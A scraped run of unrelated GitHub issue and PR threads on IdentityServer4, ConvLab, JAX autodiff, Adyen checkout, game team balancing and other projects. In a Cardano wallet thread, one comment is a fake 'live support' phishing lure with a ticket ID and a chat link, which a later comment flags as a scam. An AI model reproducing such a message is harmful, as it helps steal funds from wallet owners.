dbug: IdentityServer4.Validation.BasicAuthenticationSecretParser[0]
      Start parsing Basic Authentication secret
dbug: IdentityServer4.Validation.SecretParser[0]
      Parser found secret: BasicAuthenticationSecretParser
dbug: IdentityServer4.Validation.SecretParser[0]
      Secret id found: api1
dbug: IdentityServer4.Validation.SecretValidator[0]
      Secret validator success: HashedSharedSecretValidator
dbug: IdentityServer4.Validation.ApiSecretValidator[0]
      API resource validation success
crit: IdentityServer4.Hosting.IdentityServerMiddleware[0]
      Unhandled exception: System.InvalidOperationException: Incorrect Content-Type: application/json
         at Microsoft.AspNetCore.Http.Features.FormFeature.<InnerReadFormAsync>d__18.MoveNext()
      --- End of stack trace from previous location where exception was thrown ---
         at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
         at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
         at IdentityServer4.Endpoints.IntrospectionEndpoint.<ProcessIntrospectionRequestAsync>d__7.MoveNext()
      --- End of stack trace from previous location where exception was thrown ---
         at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
         at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
         at IdentityServer4.Endpoints.IntrospectionEndpoint.<ProcessAsync>d__6.MoveNext()
      --- End of stack trace from previous location where exception was thrown ---
         at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
         at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
         at IdentityServer4.Hosting.IdentityServerMiddleware.<Invoke>d__3.MoveNext()
fail: Microsoft.AspNetCore.Diagnostics.DeveloperExceptionPageMiddleware[0]
      An unhandled exception has occurred while executing the request
System.InvalidOperationException: Incorrect Content-Type: application/json
   at Microsoft.AspNetCore.Http.Features.FormFeature.<InnerReadFormAsync>d__18.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at IdentityServer4.Endpoints.IntrospectionEndpoint.<ProcessIntrospectionRequestAsync>d__7.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at IdentityServer4.Endpoints.IntrospectionEndpoint.<ProcessAsync>d__6.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at IdentityServer4.Hosting.IdentityServerMiddleware.<Invoke>d__3.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at IdentityServer4.Hosting.FederatedSignOutMiddleware.<Invoke>d__6.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at IdentityServer4.Hosting.AuthenticationMiddleware.<Invoke>d__2.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Microsoft.AspNetCore.Authentication.AuthenticationMiddleware`1.<Invoke>d__18.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at Microsoft.AspNetCore.Authentication.AuthenticationMiddleware`1.<Invoke>d__18.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Microsoft.AspNetCore.Authentication.AuthenticationMiddleware`1.<Invoke>d__18.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at Microsoft.AspNetCore.Authentication.AuthenticationMiddleware`1.<Invoke>d__18.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Microsoft.AspNetCore.Cors.Infrastructure.CorsMiddleware.<Invoke>d__7.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at IdentityServer4.Hosting.BaseUrlMiddleware.<Invoke>d__2.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Microsoft.AspNetCore.Diagnostics.DeveloperExceptionPageMiddleware.<Invoke>d__7.MoveNext()
dbug: Microsoft.AspNetCore.Server.Kestrel[9]
      Connection id "0HL6NNDF8T63S" completed keep alive response.
info: Microsoft.AspNetCore.Hosting.Internal.WebHost[2]
      Request finished in 704.4651ms 500 text/html; charset=utf-8

Thank you!

Thanks for reporting. We'll have a look.

This should be fixed in the latest release. What are you using?

Hi! Sorry - should of included that. Using IdentityServer4 1.5.0

Then check a later version -- I think it should be already fixed.

I'll close for now -- if you test and it's still not working, please reopen.

Hi! Finally got around to retesting with IdentityServer4 1.5.2 - and I get the same behavior as 1.5.0.
Thanks!

I just added a test (https://github.com/IdentityServer/IdentityServer4/commit/a7fbd6e8fc34a761c2fdc216444faf7abae0c1ba) to confirm that this is fixed. I'm not sure why you're still seeing this behavior.
Mind testing against this branch one more time?

Closing. If you still have issues, feel free to reopen.


Translating hooks-effect.md

booking the file "hooks-effect.md"

Hi @aladin002dz, any updates on this PR?
Please make sure to not commit any change to hooks-state.md since it's out of the scope of this PR.
Thanks 🙏.

Hi Rayan, do for the delay of my response, can we stick with "خطافات" for hooks translation, or should I choose another page until we find a better translation?

🎉

🎉🎉🎉


installrapp-deploy 1.0.1

This adds support for InstallrApp.com as requested in bitrise-io/bitrise-contrib#11
Should fix the issues from the original PR #393

Perfect, thank you!
After merge it'll be available on bitrise.io after a couple of minutes, once the caches refresh. Note: You might have to reload the workflow editor, to refresh your browser caches.


SP5: Signal plot render artifacts when exporting SVG

I think the issue described by #3032 is caused by the vertical lines being slightly too small. Consider increasing the default line thickness to 1.1 to prevent this issue.

Actually, I can't reproduce this, so I'm going to close this issue until more information is available.
Plot plt = new();
Random rand = new(0);
var sig = plt.Add.Signal(Generate.NoisySin(rand, 20_000));
plt.SaveSvg("sandbox.svg", 400, 300);


Algorithm does not work for n=1

Hi author,
Thank you for the great work. The algorithm runs very fast!
However, I think the current algorithm does not consider the corner case with just single GPU (n=1), and in this case, the allocate function's while loop just run forever.
Is there a way to easily fix the problem?
Thank you!

I changed line the to
if l <= n:
break  # Can't allocate each sequence to a single machine
and it works, not sure whether this is correct.

I have fixed several bugs at https://github.com/LingxiaoShawn/multipack_sampler/blob/master/multipack_sampler.py

Hi @LingxiaoShawn thanks for reporting the issue. Could you please check if the data is empty, or too little to fill a single batch? The packer is working fine with a single GPU on our environments.


[message] Fix Message::Settings::GetDefault()

kDefault was not being initialized properly and remains zero-initialized upon first-use.

This change initializes kDefault as a singleton at first-use, which fixes the issue

Closing this as it's a workaround for https://github.com/openthread/ot-br-posix/issues/559. The true fix is in openthread#5905


Fix Mobile layout issues

The current site doesn't work very well on mobile devices:

We should fix responsive flows to common mobile device sizes.

#58 partially address layout issues, but the header, search bar and info dialog boxes all need to be tweaked to be mobile friendly.

Closed by #128.


Command created without name

If a command is defined without a name, then an exception must be thrown.

A fix is in the integration view.  Planned to be release with 0.4.alpha


Detailed logs in gazebo+jmavsim for simulated flight

Hi,
I'm using ubuntu18.04 to build the px4 code for gazebo and jmavsim. I'm stuck with the following issues:

How to get detailed logs in gazebo+jmavsim for simulated flights.
How to do diagnostic logging.
How to get detailed logs in QGround control+real drone flight.

Thank you.

Hi, you need to be bit more specific. What do you mean with detailed logs?
In general a question like this is better to be posted in discuss.px4.io since it's not a specific issue with the PX4 firmware.

Hi, I want to know where and how to get log files in gazebo and jmavsim using px4 code.
Thank you

The ulogs are stored in Firmware/build/px4_sitl_default/tmp/rootfs/log/....
For real flights the logs are stored on the MicroSD card and you can download them using QGroundControl.
Also, see https://dev.px4.io/master/en/log/flight_log_analysis.html.


[Feature Request] Add horizontal markers to waveform display

All platforms
0.7.0
The Joulescope UI software has supported vertical markers in the waveform widget for quite some time.  These single and dual markers compute many useful statistics.  However, we sometimes want to measure the y-axis values on the graph without estimating using the grid lines.  The software should support single and dual horizontal markers for the y-axis.  The display can be much simpler for the y-axis.  Single markers only need to display their y-axis value.  Dual markers should display their y-axis value and the delta between the markers.

Added in 0.9.1.


generator: use release version

Expected behavior
When strat is a released version, strat generate should use the released generators if it exists
Actual behavior
strat generate uses master generators. It is possible to generate a bad agent

Duplicate and ever resolved by #162


AVRO-2039: Ruby encoding performance improvements

This change includes several optimizations of the validation performed during encoding using Ruby. For a use case with a few levels of nesting and unions in several places within the schema we saw a 5x improvement in encoding performance with these changes.
https://issues.apache.org/jira/browse/AVRO-2039
The main changes are:

Avoid the exhaustive validation of schemas in a union. Previously a datum was tested against all schemas in a union even though the failures were unused if a compatible schema was found. Now validation stops when the first compatible schema is found, but all failures are still available if there is no compatible type.

Avoid the repeated validation of nested schemas. Previously, the datum was recursively validated against the schema prior to encoding. Then during encoding, each complex field (record, array, map, union) was recursively validated again. Thus each field was validated a number of times equal to its level of nesting plus one. This change introduces an option for validation not to recurse. Since encoding proceeds recursively, validation is instead performed as each level is encoded.

0ther minor improvements:

delay creating error messages until they are required
use explicit instead of dynamic code (&method(:is_a?))
additional use of constants

The only additional tests in this change demonstrate that validation without recursion returns the same results for "simple" fields and no validation errors for complex fields that would require recursion.
The updated methods for Avro::Schema.validate and Avro::SchemaValidator.validate! were implemented to take an options hash with the new :recursive option in anticipation of eventually being combined with logical type support (https://github.com/apache/avro/pull/116) which would specify whether the datum is already :encoded.
These changes have been tested against:

1.9.3-p551
2.0.0-p648
2.1.10
2.2.8
2.3.5
2.4.3
2.5.0

I've rebased this on master

@tjwp Can you rebase this one? :-)

@Fokko this has been rebased again. Thanks!


Add cuid for all tables

Tables that have username, like organization and user, already have a human-readable key (apart from autoincrementing ID).

All tables apart from those can have cuid as the column name and default value cuid()
The default value for username can also be cuid unless a better one is available
API keys can use cuid instead of JWT etc.

⚠ This issue has not seen any activity in the past 2 months so I'm marking it as stale. I'll close it if it doesn't see any activity in the coming week.

This needs to be rethought. The default autoincremented ID should be more than enough, but we need a better way when expoing them to users (which is not a string CUID for sure).


Sort the wideData in order to make time brush run correctly

The time brush displayed below the charts needs sorted data in order to run correctly – this PR fixes that by sorting the wideData.
Closes #220.

Wow, that was fast ;) For my personal curiosity, what was your method of debugging here ?
LGTM 👍 Do you think there is an opportunity for test here ?

Sure, right, I will add the test!
I just followed the console error messages (raised from brush.tsx) – it was strange, because it was saying that negative width can't be assigned to a rect and no rect was being drawn anywhere (it turned out it was drawn under the hood in the brush SVG). I added several console logs and noticed that the data is not sorted and that was it :)


Add Deep Learning Papers

https://github.com/terryum/awesome-deep-learning-papers
I believe that there exist classic deep learning papers which are worth reading regardless of their applications. Rather than providing overwhelming amount of papers, I would like to provide a curated list of the classic deep learning papers which can be considered as must-reads in some area.

[x] I have read and understood the contribution guidelines and the instructions for creating a list.
[x] This pull request has a descriptive title.
The list I added

[x] is not a duplicate,
[x] has been around for a few weeks,
[x] only has awesome items with descriptions,
[x] contains the awesome badge on the right side of the list heading,
[x] has an appropriate license,
[x] has contribution guidelines,
[x] has been checked for inconsistent formatting, spelling and grammar, and
[x] has been added at the bottom of the appropriate category.

This is a curated list of deep learning papers. I gathered the list of papers based on number of citations and opinions of deep learning researchers. Please give me feedback if anything need to be changed to be added on the awesome list. Thank you.
Terry

has been around for a few weeks,

Not really, see initial commit which is 13 hours old at the time of writing.
Otherwise, I think an interesting list 👍.
Personally, I would format the entries a bit differently such that the titles stand out a bit more. Perhaps make just the title into links instead of putting [pdf] at the end.
I would also advise to use DOI links (e.g. http://dx.doi.org/...) where those are available. That will save you some headaches to keep the links from rotting. The ArXiv links are also quite stable, so those are equally fine.

Ping me here in a few weeks and I'll reopen ;)


Add unit test for syft handlers save_entry

Signed-off-by: Samuel Dacanay<EMAIL_ADDRESS>
What this PR does / why we need it: These methods are highly used across engine and don't have unit tests currently, so let's add some!

@emily-lopez great feedback! FYI the broken unit tests are externally related, and fixed in https://github.com/anchore/anchore-engine/pull/1365


Lint Markdown and Go Dep

Used this to lint the Markdown https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint

Awesome 👍


[WIP]use fifo files in non-console io mode

Ref: #481
The original design use current progress' stdio and pass them to
containerd in create stage. This will lead to -d flag behave wired,
since you've already passed stdin to container.
This PR enable two phase io connection use fifo pipes. In create stage,
create three named fifo files as stdio passed to container. In start
stage, open these three files and bind them with stand input/output
using io.Copy()
/cc @laijs
Signed-off-by: Crazykev<EMAIL_ADDRESS>

#537 is merged, could you check if the problem is fixed please?


Help delegation transaction(delegated on yoroi then looked at nami and have a delegation transaction and my balance is lower)

Help delegation transaction delegated on yoroi then looked at nami and have a delegation transaction and my balance is lower, on yoroi and eternal it is normal I tried a lot of things to fix re sync, resetting, redownloading. I am using a HW wallet to connect to the wallet but now i cant use nami because all of its values are wrong. I even checked on my ledger if i somehow lost the ada but no its still there.

@EasyStreet789 Our team has opened a ticket for you based on your question. You need to speak with The live support chat agent to get answers.
Chat with a live chat agent using ticket ID 67KO17A by clicking the link below
You can reach our support team via :Cardano Live Support
Note; Click on the live chat icon at the bottom corner of the page to initiate the chat.

Comment above (deleted) is a scam

i thought so didnt even attempt i clicked the link saw left instantly didn't sign my wallet to anything

i used eternal to redelegate and now its good i guess, its quite scary when these glitches happen wish they never did but i love the security of cardano and its wallets thank you.


Bugs in the user simulator

Hi, while training ConvLab I've discovered a couple of bugs in the user simulator:

Sometimes the check_constraint function in policy_agenda_multiwoz.py (line 254) is passed the string "soonest" forval_usr. The function expects times in the form XX:YY, cannot resolve "soonest", and therefore throws an error.

The function get_request_state in multiwoz_state_encoder.py (line 69) throws an error when it tries to get in the index of the pricerange slot in REF_USR_DA[Attraction]. This slot does not exist in the Attraction domain of REF_USR_DA.

Can you implement a fix?
Thanks!
Gabriel

@ggordonhall Thanks for reporting the issue. The first problem has been fixed now.
In terms of the second problem, the slot type pricerange should not exist in the Attraction domain, though the DB file exists. Could you show us the details of the error you met?

Hello,
The bug for us occurs when training e2e with a user simulator that is, when using NLU and NLG in both Agent and User settings. Below is a stack trace of the error occurring:

Process Process-2:
Traceback (most recent call last):
File "/usr/lib/python3.6/multiprocessing/process.py", line 258, in _bootstrap
self.run()
File "/usr/lib/python3.6/multiprocessing/process.py", line 93, in run
self._target(*self._args, **self._kwargs)
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/control.py", line 35, in mp_run_session
metrics = session.run()
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/control.py", line 170, in run
self.run_rl()
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/control.py", line 133, in run_rl
self.try_ckpt(self.agent, self.env)
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/control.py", line 87, in try_ckpt
self.num_eval)
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/analysis.py", line 68, in gen_avg_result
returns.append(gen_result(agent, env))
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/analysis.py", line 59, in gen_result
_return = gen_return(agent, env)
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/analysis.py", line 36, in gen_return
agent.update(obs, action, reward, next_obs, done)
File "/home/philipjg/dstc8/ConvLab/convlab/agent/init.py", line 202, in update
input_act, next_state, encoded_state = self.state_update(next_obs, action)
File "/home/philipjg/dstc8/ConvLab/convlab/agent/init.py", line 177, in state_update
encoded_state = self.state_encoder.encode(state) if self.state_encoder else state
File "/home/philipjg/dstc8/ConvLab/convlab/modules/state_encoder/multiwoz/multiwoz_state_encoder.py", line 18, in encode
request_vector = self.get_request_state(state['request_state'])
File "/home/philipjg/dstc8/ConvLab/convlab/modules/state_encoder/multiwoz/multiwoz_state_encoder.py", line 69, in get_request_state
domain_vector[list(REF_USR_DA[domain.capitalize()].keys()).index(slot)] = 1
ValueError: 'pricerange' is not in list

Also, in this particular instance it seems like this error is thrown immediately after another exception. This could be a coincidence/another bug, or it could be related. The stack trace for the exception before the 'pricerange' one is shown below. As this happens frequently, we have also added some print statements to see what causes the out of range exception:

domain: restaurant
Slot pair [['Ref', '24248246']]
Sys Dialogue Act {'Booking-Book': [['Ref', '24248246']]}
Error value is 24248246 in domain restaurant

Process Process-3:
Traceback (most recent call last):
File "/usr/lib/python3.6/multiprocessing/process.py", line 258, in _bootstrap
self.run()
File "/usr/lib/python3.6/multiprocessing/process.py", line 93, in run
self._target(*self._args, **self._kwargs)
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/control.py", line 35, in mp_run_session
metrics = session.run()
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/control.py", line 170, in run
self.run_rl()
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/control.py", line 133, in run_rl
self.try_ckpt(self.agent, self.env)
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/control.py", line 87, in try_ckpt
self.num_eval)
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/analysis.py", line 68, in gen_avg_result
returns.append(gen_result(agent, env))
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/analysis.py", line 59, in gen_result
_return = gen_return(agent, env)
File "/home/philipjg/dstc8/ConvLab/convlab/experiment/analysis.py", line 35, in gen_return
next_obs, reward, done, info = env.step(action)
File "/home/philipjg/dstc8/ConvLab/convlab/env/multiwoz.py", line 248, in step
env_info_dict = self.u_env.step(action)
File "/home/philipjg/dstc8/ConvLab/convlab/env/multiwoz.py", line 122, in step
self.evaluator.add_sys_da(self.get_sys_act())
File "/home/philipjg/dstc8/ConvLab/convlab/evaluator/multiwoz.py", line 120, in add_sys_da
raise e
File "/home/philipjg/dstc8/ConvLab/convlab/evaluator/multiwoz.py", line 108, in add_sys_da
self.booked[self.cur_domain] = dbs[self.cur_domain][int(value)]
IndexError: list index out of range

This seems to be reproducible (we assume based on fixed random seed) for some specific setups, and doesn't occur for others.
I hope this helps.
Cheers,
Philip

Update:
The two exceptions seem to me to be correlated. We are getting similar exceptions on a different training run. This time, the index out of range is thrown by trying to book a restaurant

domain: restaurant                                                                                > Slot pair [['Ref', '11749884']]
Sys Dialogue Act {'Booking-Book': [['Ref', '11749884']]}
Error value is 11749884 in domain restaurant

And then the next exception is the same as above, with "pricerange not in list"

Hi,
We've seen your latest commit, but we're not convinced that this will fix the issue.
Adding the int(value) < len(dbs[self.cur_domain]) in evaluator/multiwoz.py will ignore reference numbers generated by generate_ref_num. This function is called in MultiWozVocabActionDecoder when the system has received the Booking-Book action (line 86 in multiwoz_vocab_action_decoder.py) and in action_decorder in policy/system/multiwoz.util.py.
These reference numbers are randomly generated 8 digit numbers and, unlike those generated in dbquery.py (line 63), exceed len(dbs[self.cur_domain]). We don't think that adding the length restriction fixes the problem, instead it seems that it will prevent the evaluator from recognizing valid bookings. Does the reference number need to be restricted by the length of the database in the first place?
Thanks,
Gabriel


User lands on empty cart after return from HPP

Describe the bug
User can land on an empty cart when they return from a HPP (e.g. when paying with EPS) when they click the "Continue"-button at the same time that the page is refreshing:

This triggers a duplicate request to Adyen-ShowConfirmation in the background:

This means the logic inside this controller is executed twice. However, as it contains logic to not process the same order twice, the user is redirected to the cart page:
https://github.com/Adyen/adyen-salesforce-commerce-cloud/blob/c3737fcafe1898e74cf2639f477cf09848a75e11/cartridges/int_adyen_SFRA/cartridge/controllers/middlewares/adyen/showConfirmation.js#L64-L68
As their cart has already been converted to a placed order, it is empty.
To Reproduce
Steps to reproduce the behavior:

Place a payment with a payment method that redirects to a HPP (e.g. EPS)
Click the "Continue"-button before you're automatically redirected back.
Confirm that a duplicate request is triggered and you land on an empty cart page

Expected behavior
Users should still see the confirmation page even though their order has already been processed.

Hello @KennethRobbeFrucon,
I tried the exact payment method (EPS) and for me it worked, the confirmation page is shown.
Which SFRA version are you trying?
Kind Regards
Aleksandar
Adyen


Run integration tests as part of CI

This required fixing yet another error in the CNI server test: when
checking for interface deletion, the test was not using the correct
network namespaces / interface names. This was going unnoticed on dev
machines when there was no "eth0" interface. However, the Github CI
worker VM seems to have an eth0 interface. When checking for container
interface deletion, the test would look for an "eth0" interface in the
root namespace (instead of the container namespace) and expect not to
find it. But because of the network configuration for the Github CI
worker VM - i.e. because of the presence of an eth0 interface - the test
was failing (for the wrong reason).
Fixes #179

/skip-e2e

@weiqiangt you're correct, let me try to close & re-open

/skip-e2e

That seems to have fixed it. Will merge after all the tests pass.


Feature/team balance

Adds a module and API commands for balancing (evening team sizes) and shuffling teams by different criteria/methods. I personally do not think that a shuffle feature would be very popular (outside of events run by servers perhaps) but it is a feature that people ask for, so I've added it.
There is a a very crude UI added to the game view but this was only so that I could test it on a real server. It is not suitable for production and needs to be cleaned up/refined quite a bit, but frankly I burned out on doing this part because my React/Javascript knowledge is quite limited.
Especially important on the current temporary/testing UI, it has no confirmation dialog or any other way to prevent accidental clicks from shuffling teams which would be disastrous in a real game.
I am confident the backend works correctly, I did a combination of manual testing on our event server with real players and unit tests, to include some property based testing with hypothesis to make sure shuffled teams would always end up with equitable team sizes.
This also updates USERGUIDE.md to document how the feature works.
Logging is performed in a separate file to make it easier for admins to see what is happening without having to filter through api.log but of course RCON actions are also still logged in api.log.
This also adds an optional new Discord Webhook so that server owners can if they choose record all shuffle/balancing actions and expose it to their communities without having to also expose all of their other audited RCON actions.
At the moment it makes no consideration whatsoever for trying to try to maintain squads while shuffling, I may circle back and work on this in the future, but it's a tough problem if you also want to actually shuffle teams up, and not everyone in a squad together is grouped up out of game. If the party feature that is on the roadmap is released and this information is available to RCON then I will definitely come back to this.
Of note, this pulls a single team view for both balancing/shuffling and works with that team view from start to finish, this means that the information may be stale if players change roles, teams, leave, etc. from when it was grabbed, but the data we're working with is at least always internally consistent. This also means that it takes a few seconds for a shuffle or balance to complete.
Currently there is a hard coded 5 second limit between running either command that is checked on the backend (the time stamp is stored in Redis) to prevent doubling up on commands on accident.

Closing this for now because I need to fix merge conflicts and I have to finish the UI, will get back to it at some point.


Use image file instead of img html node?

Is there a way I can just have this solve a captcha from the downloaded image instead of through an img element? I'm doing some cross domain stuff, and I want to avoid opening an iframe as it slows things down.

You mean open an image file without directly or indirectly loading it with an img tag? Right now I believe it only works if the image is already referenced in an img tag, or if you call cbl.solve with the path to the image (which internally creates an img tag).


Add a better error message for grad of while not supported

The issue that I wanted to fix was that when running grad(lax.while_loop),
the error was a cryptic assertion failure (that all primals are known
after linearization, in ad.py:linearize). I could not figure out
how to detect before that assertion that we are doing a reverse AD
for while_loop. If I turn off that assertion the code fails a bit further down.
So, I implemented a simple form of partial evaluation, to allow the primals after linearization to be known, so that the code proceeds and can then fail gracefully when trying to transpose the while.
This is not a proper implementation of partial evaluation. The known outputs are computed early, properly. But the unknown outputs are computed by a whole computation of the loop, including the known parts. There are no residuals saved from the known computation. Perhaps one can do better, but it is not obvious. In any case, this code is only useful for a better error message :-(
Fixes issue: #2129

I am behind in getting to this because I'm still trying to fix bugs from #2026. Sorry! I hope to get to it sometime this week. LMK if that doesn't work.

That will work. Another one to look at is #2455, cjfj@ is waiting on that one also.

@mattjj and @dougalm: I'd like your thoughts on this.

We need to further distinguish between the first two sub-cases. Still, I think this tag-based direction, where we just tag JaxprTraces based on their purpos and check the tag, is probably a good one because it's simpler... WDYT?

I'd love this to work, this is what I was looking for. But how could it be enough to check the master trace type, don't we have to somehow inspect the entire trace stack?

We'll end up checking all the partial eval traces on the trace stack because for each one we'll call into the _while_loop_partial_eval rule. If any one of them fails, i.e. if any one of them finds it's responsible for a reverse-mode autodiff partial eval, then we'll get an exception (but if all of them are instead either for outer control flow primitives or for jit/pmap staging then it'll go through).
We can actually attach any info to the master trace, like we can also just set trace.master.some_property = True anywhere. We don't need to do it via a type tag on master.trace_type. That just seemed like the smallest change at the time of #1848. But let's put our heads together and think about how best to attach this metadata for JaxprTraces!
Should we start with an enum that just indicates whether it's for reverse mode autodiff, control flow, or staging out of the system (i.e. jit/pmap)?

I have tried something along the lines you suggested, but I think I still don't understand.
First, please check the comment that I wrote at the top of JaxprTrace. It is a refinement of a comment you had in JaxprTrace.process_custom_jvp_calll, adding the case for linearization.
I decided to try for now a simple change where we tag the linearization case, to separate it out of the
handling of control-flow. It seems easier to tag the former, because control-flow handling is quite
pervasive. I added LinearizeJaxprTrace, a sibling of StagingJaxprTrace.
The problem is with grad(cond(while)). By the time I get to partial eval of the nested while, the master that was created for linearize is not in the current trace.
The only case that does not work

BTW, if I scan core.trace_stack I do see the LinearizeJaxprTrace. Can't a MasterTrace have parents?

Hmm, what's a parent in this context?

The comments LGTM!

Tricky... I think the issue is that when we do partial evaluation of control flow primitives, with things like partial_eval_jaxpr, we need to propagate this tag information. That is, we're kicking off a new master when we call partial_eval_jaxpr inside the partial eval rule of cond; the fact that the cond partial eval is happening because of linearization is not being forwarded through partial_eval_jaxpr.

Yes, that's the issue. The test passes after

adding a trace_type argument to partial_eval_jaxpr (or we could do the for_linearize / stage_out signature, though maybe a single argument is easier)
changing partial_eval_jaxpr by adding the line for_linearize = trace_type is LinearizeJaxprTrace at the top, then making the two calls to trace_to_jaxpr in its body pass that value

These initial style control flow primitives are the trickiest, at least the way we process them by round-tripping jaxprs back into traceables via jaxpr_as_fun/eval_jaxpr and tracing them. That's caused me some headaches earlier today with the PRNG reuse checker I'm prototyping. Maybe we should brainstorm how we might process jaxprs without involving eval_jaxpr. It could be as simple as writing a couple separate jaxpr interpreters. (In effect right now we are reusing the same eval_jaxpr interpreter, but transforming it with our usual Python transforms.)

Hmm, what's a parent in this context?

A better name is previous: the trace that was on top of the stack when you pushed this one. In essence, this would allow one to scan the trace stack from any particular tracer.

I have implemented your suggestion. The one difference is that instead of passing for_linearize flag to trace_to_jaxpr I just pass trace_type. This now subsumes stage_out, but I left that alone.
BTW, the previous implementation had the minor advantage of actually implementing linearize for while_loop. Now we get the same error as for grad.

Looks like random.gamma does not work, its VJP uses while (superficially, could be removed, see here) .
But the problem still stands, the current version give spurious errors if while_loop is in the VJP. The error is deserved if you want to do higher-order differentiation, but not for the first differentiation. Looks like I need to adjust this check further.

A better name is previous: the trace that was on top of the stack when you pushed this one. In essence, this would allow one to scan the trace stack from any particular tracer.

Ah I see, thanks. Personally I try not to think in terms of the trace stack; every trace just has to worry about itself, and the core handles the fact that there are multiple traces going on.

BTW, the previous implementation had the minor advantage of actually implementing linearize for while_loop. Now we get the same error as for grad.

Oh, I didn't realize that. That would be a nice property to have. Should we revive the other solution then? Especially also given the gamma issue.
These refined "jaxpr trace type" tags are probably nice to keep around for other reasons, but making while_loop work with linearize is a big plus with your original approach.

I have revived the partial evaluation of while_loop. I kept the passing of trace_type along, but I dropped the LinearizeJaxprTrace type tag.
I test that linearize works but grad errors gracefully.

Quick suggestion for the error message: I think it would be helpful if it suggested the user try lax.scan instead. This wasn't obvious to me when I ran into this same problem and had to ask for help from @jekbradbury


Provide a list of supported rigs

I got no hardware receivers to test/review, unfortunately. The support of different receivers is limited then to the ones supported by hamlib (rigctl -l) and the ones that natively support rigctl protocol through tcp.


⚠ ClamAV has degraded performance

In aca1de9, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 81 ms

Resolved: ClamAV performance has improved in 6a0f962.


Clicking on extension button creates only a tiny settings window.

Regression is in between chrome release version and current main.


Remove the start_time column from Whitehall Migrations

It was surplus to requirements and also doesn't fit in with rails convention. We'll be using the created_at column from here on out. This also changes any references to the start_time column.
Trello - https://trello.com/c/HxOpHnf9/1272-queue-a-job-to-import-document-from-whitehall
Related - https://github.com/alphagov/content-publisher/pull/1615

@kevindew Yeah I'll get end time done now :)

If we removed end_time, how will we know when an organisation migration has been completed?

If we remove end_time, how will we know when an organisation migration has been completed?

We shouldn't remove it but we should rename it to be consistent with ActiveRecord time naming. I'd suggest going with completed_at


Add data migration for simplified skill groups with optional skills

Add data migration now that skill groups no longer contribute to user_points, and all child skills contribute to skill/subject/project total_points regardless of num_skills_required
See #1346
Data Migration

fix skill_definition points; fix group's total points; update project and subject points
remove user_points row for groups
fix user_points for subjects and projects for any project that has optional skills enabled
enable all groups and their child skills

testing this ticket generated https://github.com/NationalSecurityAgency/skills-service/issues/1378

:+1:

PR: #1366


Disable scrolling

Would it possible to disable scrolling, at least by default?  If I accidentally move two fingers across my touchpad it will move me away several slides.

I agree with @asmeurer that the default behaviour is incredibly annoying on a MacBook.  As he says, it is all too easy to accidentally fly through dozens of slides, and I am dreading this happening during an actual presentation.
I'm glad scrolling to flip pages can be disabled and tend to agree that it should be disabled by default if it is this poorly behaved.
Remark is great by the way!


can configure value grid string via commands

send localization via api call

What is the difference between this PR and the previous one ?

What is the difference between this PR and the previous one ?

None, the previous one was closed because I deleted the branch by mistake

